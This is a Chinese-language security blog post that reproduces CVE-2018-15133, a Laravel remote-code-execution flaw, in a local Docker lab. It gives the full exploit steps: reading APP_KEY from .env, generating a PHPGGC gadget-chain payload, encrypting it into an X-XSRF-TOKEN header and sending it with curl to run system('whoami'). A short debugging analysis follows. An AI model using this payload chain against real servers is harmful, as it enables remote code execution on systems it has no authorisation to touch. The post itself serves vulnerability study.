Laravel RCE 复现(CVE-2018-15133)

简述

2018/12/13 的时候看到玄武实验室推送了这个消息,具体的利用点是要先拿到laravel的APP_KEY,然后才可以进行任意代码执行。(第一次对laravel进行分析,会比较啰嗦详细。)

影响版本 : 5.5.40,5.6.x ~ 5.6.29

复现

环境

服务器

服务器:http://192.168.138.128:8000/
laravel版本:5.6.29
首先是poc的复现,我的服务器已经安装了docker,该poc已经给出了一个Dockerfile。

1
2
3
4
git clone https://github.com/kozmic/laravel-poc-CVE-2018-15133
cd laravel-poc-CVE-2018-15133/
docker build -t laravel-poc-cve-2018-15133 .
docker run -d -p 8000:8000 laravel-poc-cve-2018-15133

完成laravel的部署,访问一下。

已经完成,然后执行如下命令,拿到APP_KEY。

1
docker exec -it $(docker ps --latest --quiet) grep -e \^APP_KEY /var/www/html/laravel/.env

得到APP_KEY配置:APP_KEY=base64:1xj8/hflqHlO1YlMR/RTJ9EcMjvaub6rA00UfKakqIU=

攻击者

当前环境:windows 10 + cygwin

此时已经拿到APP_KEY了。我们使用PHPGGC来生成一个payload。

1
./phpggc Laravel/RCE1 system 'whoami' -b

响应如下

1
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjY6Indob2FtaSI7fQ==

下载一份cve-2018-15133.php,然后执行

1
php cve-2018-15133.php 1xj8/hflqHlO1YlMR/RTJ9EcMjvaub6rA00UfKakqIU= Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjY6Indob2FtaSI7fQ==

拿到一个有效的payload如下

1
X-XSRF-TOKEN: eyJpdiI6IklSSkFYMWxFVUF0TVN2ZDZ2QXEzZWc9PSIsInZhbHVlIjoiY3FxTm9MNzkySjZnVEtoY25xaUw2bnBBV2IwZ0Z6OUtOZXlzXC84ME1aZ2xjdnJVMEM1S1lub21JN1pyTjZKWFk5dHdSZzVVY3VzOUR4VVE2VFE4cHlVKzZXSnBiMFB0d3JcL2FPdVJcL20yZktzenlBZHVZdFNMRXlCSVBDUkRmWExpSFhJN1dzaVwvZzBSbU5cL2FXaGRZSDhRTXErZ0E5SWZQeElhRlpMd1h2MlY0VkNNWGE4cjBHOFUyWVNEd3p5ZWFtTE9mTjZUNlFVQ1JMSGpSSWdQVmRHb2lpQVdSYm1pNEFiTm11UzlSdG9ITGU3dlVhYnA3VjN2Skp6QUV0T1pOIiwibWFjIjoiZGM4NjIzNTYwOTU1MTg2YWU1ZDQwNDRjMWUyNGIxNjdlOGE1ZWZiYzZjODdlNjNhYTUyMjhiZjg4N2VlNDQ2OCJ9

加到http的header中,以POST方式请求,curl如下

1
curl http://192.168.138.128:8000/ -H "X-XSRF-TOKEN: eyJpdiI6IklSSkFYMWxFVUF0TVN2ZDZ2QXEzZWc9PSIsInZhbHVlIjoiY3FxTm9MNzkySjZnVEtoY25xaUw2bnBBV2IwZ0Z6OUtOZXlzXC84ME1aZ2xjdnJVMEM1S1lub21JN1pyTjZKWFk5dHdSZzVVY3VzOUR4VVE2VFE4cHlVKzZXSnBiMFB0d3JcL2FPdVJcL20yZktzenlBZHVZdFNMRXlCSVBDUkRmWExpSFhJN1dzaVwvZzBSbU5cL2FXaGRZSDhRTXErZ0E5SWZQeElhRlpMd1h2MlY0VkNNWGE4cjBHOFUyWVNEd3p5ZWFtTE9mTjZUNlFVQ1JMSGpSSWdQVmRHb2lpQVdSYm1pNEFiTm11UzlSdG9ITGU3dlVhYnA3VjN2Skp6QUV0T1pOIiwibWFjIjoiZGM4NjIzNTYwOTU1MTg2YWU1ZDQwNDRjMWUyNGIxNjdlOGE1ZWZiYzZjODdlNjNhYTUyMjhiZjg4N2VlNDQ2OCJ9" --data "" | head -n1

响应如下

至此完成了system('whoami')的执行。

分析

问题定位

查看更新日志以及对比一下5.6.29和5.6.39,应该很快就能定位出问题所在。
为了方便测试,APP_KEY都改为APP_KEY=base64:1xj8/hflqHlO1YlMR/RTJ9EcMjvaub6rA00UfKakqIU=,这样生成的payload就能通用了

下载5.6.29

1
2
3
4
5
6
git clone https://github.com/laravel/laravel.git && cd laravel && sed -i -e 's/5.7.\*/5.6.29/g' composer.json && composer install
cd laravel
# 生成env配置文件,替换APP_KEY
cp .env.example .env && sed -i -e 's/APP_KEY=.*$/APP_KEY=base64:1xj8\/hflqHlO1YlMR\/RTJ9EcMjvaub6rA00UfKakqIU=/g' .env
# 配置POST路由
echo Route::post('/', function() {return view('welcome');}); >> routes/web.php

下载5.6.30

1
2
3
4
5
6
git clone https://github.com/laravel/laravel.git && cd laravel && sed -i -e 's/5.7.\*/5.6.30/g' composer.json && composer install
cd laravel
# 生成env配置文件,替换APP_KEY
cp .env.example .env && sed -i -e 's/APP_KEY=.*$/APP_KEY=base64:1xj8\/hflqHlO1YlMR\/RTJ9EcMjvaub6rA00UfKakqIU=/g' .env
# 配置POST路由
echo Route::post('/', function() {return view('welcome');}); >> routes/web.php

好了两个版本装完了。测试一下。

得到了预期的效果。

根据官网更新说明和代码更改情况,可以看到5.6.30对cookie默认禁用了反序列化。

所以这里尝试一下重新开启,在laravel\vendor\laravel\framework\src\Illuminate\Cookie\Middleware\EncryptCookies.php中有一个属性protected static $serialize = false;,改为true。

这算是找到了一个问题入口,但是还不够精确,我们尝试生成一个错误的payload,让laravel自动抛出错误,这样就可以拿到最终任意执行的位置和整个栈帧调用情况。尝试poc改为调用不存在的函数hundan,参数为cit,生成如下payload。

1
X-XSRF-TOKEN: eyJpdiI6IkRQSFhqV05GdWZ2K0UxdWhVYjQxYXc9PSIsInZhbHVlIjoiamtJWVJ0MUxvT0NIT1c2cXN1TXhPbWc5bkRBUGMzc05TQURkQkVMUWVZOXdEYnJwYmhFYWtQeEdyak1xZTlmSlNUdEFxakYzNjdCb2k1R282bURGU1hKdEFCRTc4SkMzYXRpSlZEY3Fwa0pjRE5hK3R3MDZLdTVPcDlXTmh2dmJqNVFRY2QybTZPMEhyUzhJT29vWW94b2hqVjRGMXFOT2tRdHF5bytDN2xuXC9NRXJJaFwvT1NNczRLd1p6eHo0R1R0OHc0NU9Yc3hodEtodUpiend2VUcwcG1OdWE1WE51K0lXVzI0UmxGa0QyNXNod2VYaWRyb1pEaHRaVG9rM2FvIiwibWFjIjoiN2ExMzY3OTU4NTMwMDRhOTQ1NWNiYTI2MTAzN2MxNzIwNGFkMjU4NTg0NmIxZDlhMWM1NzdkNDhiOTgxMDlkMSJ9

(找了半天浏览器和插件,firefox新版的hackbar不好用,旧版不能下载xdebug helper,chrome更别提了,所以最终还是用burp中转了一下把GET自动改为POST,用Modify Headers for Google Chrome加了一个header,暂时算是方便了一点)

调用情况一览无余,接下来用xdebug来调试吧。

形成过程分析

laravel\vendor\fzaninotto\faker\src\Faker\Generator.php:222处下一个断点,使用正常的payload注入,成功断下

调用链太长就不贴了。

总之请求先发往入口文件index.php,经过kernel进入pipeline,然后进入各个车间进行处理,

参考资料

Laravel源码分析——看一次Http请求到响应
Laravel 中间件原理
Laravel 管道流原理
Laravel 学习笔记 —— 神奇的服务容器


测试区

curl http://127.0.0.1:8000/ -H “X-XSRF-TOKEN: eyJpdiI6IklSSkFYMWxFVUF0TVN2ZDZ2QXEzZWc9PSIsInZhbHVlIjoiY3FxTm9MNzkySjZnVEtoY25xaUw2bnBBV2IwZ0Z6OUtOZXlzXC84ME1aZ2xjdnJVMEM1S1lub21JN1pyTjZKWFk5dHdSZzVVY3VzOUR4VVE2VFE4cHlVKzZXSnBiMFB0d3JcL2FPdVJcL20yZktzenlBZHVZdFNMRXlCSVBDUkRmWExpSFhJN1dzaVwvZzBSbU5cL2FXaGRZSDhRTXErZ0E5SWZQeElhRlpMd1h2MlY0VkNNWGE4cjBHOFUyWVNEd3p5ZWFtTE9mTjZUNlFVQ1JMSGpSSWdQVmRHb2lpQVdSYm1pNEFiTm11UzlSdG9ITGU3dlVhYnA3VjN2Skp6QUV0T1pOIiwibWFjIjoiZGM4NjIzNTYwOTU1MTg2YWU1ZDQwNDRjMWUyNGIxNjdlOGE1ZWZiYzZjODdlNjNhYTUyMjhiZjg4N2VlNDQ2OCJ9” –data “” | head -n1

29原
APP_KEY=base64:mSQd8aRud9n2Oql6AiLxz4Vlu3DZ8MIm/VM+1pJ7mLQ=

Author: hundan
Link: https://hundan.org/2018/12/14/Laravel-RCE-复现-CVE-2018-15133/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.